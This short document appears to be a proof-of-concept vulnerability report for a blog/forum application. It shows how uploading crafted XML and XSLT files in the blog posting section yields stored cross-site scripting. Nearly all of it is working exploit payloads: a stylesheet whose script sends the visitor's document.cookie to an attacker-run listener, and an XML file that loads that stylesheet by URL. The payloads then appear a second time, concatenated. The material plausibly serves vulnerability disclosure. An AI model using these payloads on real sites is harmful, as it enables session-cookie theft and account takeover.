The code allows uploading XML files by default.
After logging in, upload files in the blog posting section.

upload xml1
<?xml version="1.0" encoding="iso-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html><body>
<script>location.href = "http://127.0.0.1:8089?cookie=" + document.cookie;</script>
</body></html>
</xsl:template>
</xsl:stylesheet>

upload xml2
<?xml version="1.0" encoding="iso-8859-1"?>
<?xml-stylesheet type="text/xsl"
href="http://192.168.73.1:8081/jflyfox/bbs/ueditor/file/20250918/20250918_192947_989256.xml"?>
<test></test>

ask xml2 file,get cookie

The code allows uploading XML files by default.
After logging in, upload files in the blog posting section.
<?xml version="1.0" encoding="iso-8859-1"?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><html><body><script>location.href = "http://127.0.0.1:8089?cookie=" + document.cookie;</script></body></html></xsl:template></xsl:stylesheet><?xml version="1.0" encoding="iso-8859-1"?><?xml-stylesheet type="text/xsl"href="http://192.168.73.1:8081/jflyfox/bbs/ueditor/file/20250918/20250918_192947_989256.xml"?><test></test>